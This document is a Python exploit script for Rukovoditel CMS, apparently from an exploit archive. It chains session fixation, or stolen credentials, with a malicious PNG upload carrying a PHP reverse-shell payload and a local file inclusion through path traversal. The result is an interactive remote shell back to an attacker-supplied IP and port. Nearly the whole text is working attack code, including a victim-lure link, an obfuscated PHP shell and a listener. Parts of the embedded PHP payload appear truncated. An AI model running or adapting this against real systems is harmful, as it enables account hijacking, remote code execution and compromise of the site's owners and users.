#!/usr/bin/python3 # Exploit Title: Rukovoditel 2.7.1 - Remote Code Execution (Authenticated) # Exploit Author: @_danyx07 # Vendor Homepage: https://www.rukovoditel.net/ # Software Link: https://www.rukovoditel.net/download.php # Version: Rukovoditel < 2.7 # Tested on: Debian 9 Rukovoditel 2.6.1 # CVE : CVE-2020-11819 # Description : This exploit has two modes of execution, using the session fixation vulnerability (CVE-2020-15946) or using the access credentials of any account under any profile. # With the --type L option, this script will create a malicious link, if the link is accessed in a browser by the victim, an arbitrary session identifier will be set that will be used to steal their session after uploading an image with PHP content on their photo profile, and then use local file include (CVE-2020-11819) to get a nice reverse shell. # Or, with the options --type C -u -p you can provide credentials, load the image with PHP content and use local file inclusion (CVE-2020-11819) to achieve the execution of code. # Protip: remember to check if the registration module is enabled ;) import sys import requests from bs4 import BeautifulSoup import re import base64 import argparse import os from shutil import copyfile import datetime import hashlib import socket import threading import time import random import uuid __version__ = '1.0' parser = argparse.ArgumentParser(description= "Post-authenticate RCE for rukovoditel, script version %s" % __version__, usage='\n %(prog)s -t -a L --ip attacker IP --port attacker port [options]\n %(prog)s -t -a C -u -p --ip attacker IP --port attacker port [options]\n\n') parser.add_argument('-t', '--target', metavar='URL', type=str, required=True, help='URL/Full path to CMS Rukovoditel http://url/path/to/cms/') parser.add_argument('-u', '--user', type=str, help='Username for authentication') parser.add_argument('-p', '--password', type=str, help='Password for authentication') parser.add_argument('-a', '--type', required=True, type=str, help='Use -a L to generate the link and steal the session or use -a C if you have access credentials to the web application') parser.add_argument('--ip', metavar="IP_ATTACKER", required=True, type=str, help='IP attacker for reverse shell!') parser.add_argument('--port', metavar="PORT_ATTACKER", required=True, type=str, help='Port for reverse shell connection') parser.add_argument('--proxy', metavar="PROXY", help='Setup http proxy for debbugin http://127.0.0.1:8080') args = parser.parse_args() # Global variables s = requests.Session() url = args.target user = args.user pwd = args.password typeAttack = args.type IP=args.ip PORT=args.port proxyDict = {"http" : args.proxy, "https" : args.proxy} csrf_token="" pht=None flag_access=False sid = uuid.uuid4().hex def serverShell(): server = socket.socket(socket.AF_INET,socket.SOCK_STREAM) server_address = (IP,int(PORT)) server.bind((server_address)) server.listen(0) print("[+] Listening on %s:%s" % (IP,PORT)) conn,addr = server.accept() print("[+] Accepted connection from %s and port %s" % (addr[0],addr[1])) print("Type 'quit' for exit") server.settimeout(10) while True: cmd = input() if cmd == 'quit': print("[-] Closing connection with the shell") conn.close() server.close() break cmd = cmd + "\n" if len(str(cmd)) > 0: command = conn.send(cmd.encode('utf-8')) try: response = conn.recv(2048) print(response.decode('utf-8')) except server.timeout: print("Didn't receive data!") finally: server.close() conn.close() def authByCookie(): global flag_access global sid url_hijack = url+'index.php?sid='+sid url_in = url+"index.php?module=dashboard/" print("[+] Send this URL to the victim -> %s" % url_hijack) while True: if flag_access == True: break def checkAccess(stop): global flag_access time.sleep(3) while True: if typeAttack == 'L': s.cookies.clear() s.cookies.set('sid',sid) url_login = url+'index.php?module=users/account' r = s.get(url_login, proxies=proxyDict) response = r.text if response.find('account_form') != -1: print("[+] Access granted!") soup = BeautifulSoup(response, 'lxml') csrf_token = soup.find('input')['value'] flag_access=True else: print("[-] Waiting for access") if stop(): break time.sleep(3) return 0 def makeAuth(): url_login = url+'index.php?module=users/login&action=login' r = s.get(url_login, proxies=proxyDict) html = r.text soup = BeautifulSoup(html, 'lxml') csrf_token = soup.find('input')['value'] print("[+] Getting CSRF Token %s" % csrf_token ) auth = {'username':user, 'password':pwd, 'form_session_token':csrf_token} print("[+] Trying to authenticate with username %s" % user) r = s.post(url_login, data=auth, proxies=proxyDict) response = r.text if response.find("login_form") != -1: print("[-] Authentication failed... No match for Username and/or Password!") return -1 def createEvilFile(): rv = """ /*&1\\n"; } $RhoVbBR='is_callable'; $vaVrJ='in_array'; if($RhoVbBR('proc_open')and!$vaVrJ('proc_open',$dis)){ $handle=proc_open($c,array(array('pipe','r'),array('pipe','w'),array('pipe','w')),$pipes); $o=NULL; while(!feof($pipes[1])){ $o.=fread($pipes[1],1024); } @proc_close($handle); }else if($RhoVbBR('shell_exec')and!$vaVrJ('shell_exec',$dis)){ $o=shell_exec($c); }else if($RhoVbBR('exec')and!$vaVrJ('exec',$dis)){ $o=array(); exec($c,$o); $o=join(chr(10),$o).chr(10); }else if($RhoVbBR('popen')and!$vaVrJ('popen',$dis)){ $fp=popen($c,'r'); $o=NULL; if(is_resource($fp)){ while(!feof($fp)){ $o.=fread($fp,1024); } } @pclose($fp); }else if($RhoVbBR('system')and!$vaVrJ('system',$dis)){ ob_start(); system($c); $o=ob_get_contents(); ob_end_clean(); }else if($RhoVbBR('passthru')and!$vaVrJ('passthru',$dis)){ ob_start(); passthru($c); $o=ob_get_contents(); ob_end_clean(); }else { $o=0; } return $o; } } $nofuncs='no exec functions'; if(is_callable('fsockopen')and!in_array('fsockopen',$dis)){ $s=@fsockopen("tcp://$ipaddr",$port); while($c=fread($s,2048)){ $out = ''; if(substr($c,0,3) == 'cd '){ chdir(substr($c,3,-1)); } else if (substr($c,0,4) == 'quit' || substr($c,0,4) == 'exit') { break; }else{ $out=SsMEEaClAOR(substr($c,0,-1)); if($out===false){ fwrite($s,$nofuncs); break; } } fwrite($s,$out); } fclose($s); }else{ $s=@socket_create(AF_INET,SOCK_STREAM,SOL_TCP); @socket_connect($s,$ipaddr,$port); @socket_write($s,"socket_create"); while($c=@socket_read($s,2048)){ $out = ''; if(substr($c,0,3) == 'cd '){ chdir(substr($c,3,-1)); } else if (substr($c,0,4) == 'quit' || substr($c,0,4) == 'exit') { break; }else{ $out=SsMEEaClAOR(substr($c,0,-1)); if($out===false){ @socket_write($s,$nofuncs); break; } } @socket_write($s,$out,strlen($out)); } @socket_close($s); } """ encoded_bytes = rv.encode('ascii') b64_bytes = base64.b64encode(encoded_bytes); payload = b64_bytes.decode('ascii') createImage() copyfile("./tux.png","/tmp/evil-tux.png") evilF = open('/tmp/evil-tux.png','a+') evilF.write("") evilF.close() print("[+] Evil file created!") def searchFile(etime): cdate = etime for i in range(3600,52200,900): h1 = hashlib.sha1() img1 = str(cdate+i)+"_evil-tux.png" h1.update(img1.encode('utf-8')) r = requests.get(url+"uploads/users/"+h1.hexdigest()) if r.status_code == 200: print(r.text) return h1.hexdigest() h2 = hashlib.sha1() img2 = str(cdate-i)+"_evil-tux.png" h2.update(img2.encode('utf-8')) r = requests.get(url+"uploads/users/"+h2.hexdigest()) if r.status_code == 200: #print(r.text) return h2.hexdigest() i+1800 return "" def uploadFile(): global pht print("[+] Trying to upload evil file!...") form_data1 = {'form_session_token':csrf_token, 'fields[7]':'Administrator', 'fields[8]':'PoC', 'fields[9]':'admin@mail.com', 'fields[13]':'english.php'} files = {'fields[10]':open('/tmp/evil-tux.png','rb')} url_upload = url+'index.php?module=users/account&action=update' r = s.post(url_upload, files=files, data=form_data1, proxies=proxyDict) date = r.headers['Date'] etime = int(datetime.datetime.strptime(date, '%a, %d %b %Y %H:%M:%S GMT').strftime('%s')) #reg = re.findall(r"([a-fA-F\d]{40})",r.text) reg = None if not reg: print("[-] The file name was not found in the response :(") fileUp = searchFile(etime) else: fileUp = reg[0] print("[+] Looking for the file name uploaded...") r = s.get(url+"/uploads/users/"+fileUp) if r.status_code!=200: print("[-] File name couldn't be found!") exit() pht="../../uploads/users/"+fileUp print("[+] String for path traversal is %s" % pht) def updateProfile(oplang="english.php"): if oplang == "english.php": print("[+] Updating profile with language %s " % oplang) payload = {'form_session_token':csrf_token, 'fields[7]':'Administrator', 'fields[8]':'PoC', 'fields[9]':'admin@mail.com', 'fields[13]':oplang, 'fields[10]':''} files = {"":""} url_upload = url+'index.php?module=users/account&action=update' r = s.post(url_upload, files=files, data=payload, proxies=proxyDict) return 0 else: print("[+] Updating user profile field[13] <--file inclusion through path traversal... Wait for the shell :)") payload = {'form_session_token':csrf_token, 'fields[7]':'Administrator', 'fields[8]':'PoC', 'fields[9]':'admin@mail.com', 'fields[13]':oplang, 'fields[10]':''} files = {"":""} url_upload = url+'index.php?module=users/account&action=update' r = s.post(url_upload, files=files, data=payload, proxies=proxyDict) serverShell() def createImage(): if os.path.exists("tux.png"): return imgb64 = "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" f = open("tux.png","wb") f.write(base64.b64decode(imgb64)) f.close() def main(): s.cookies.clear() stop_threads = False check_thread = threading.Thread(target=checkAccess, args =(lambda : stop_threads, )) check_thread.start() if typeAttack == "C": if makeAuth() == -1: stop_threads = True check_thread.join() print("[-] Exiting...") exit(0) elif typeAttack == "L": authByCookie() else: "[!] You must specify the type of attack with the -a option" exit() createEvilFile() uploadFile() updateProfile(pht) stop_threads = True check_thread.join() print("[+] Starting clean up...") updateProfile() os.remove("/tmp/evil-tux.png") print("[+] Exiting...") if __name__ == '__main__': main() s.cookies.clear() """try: main() s.cookies.clear() except Exception as e: print("[\033[91m!\033[0m] Error: %s" % e)"""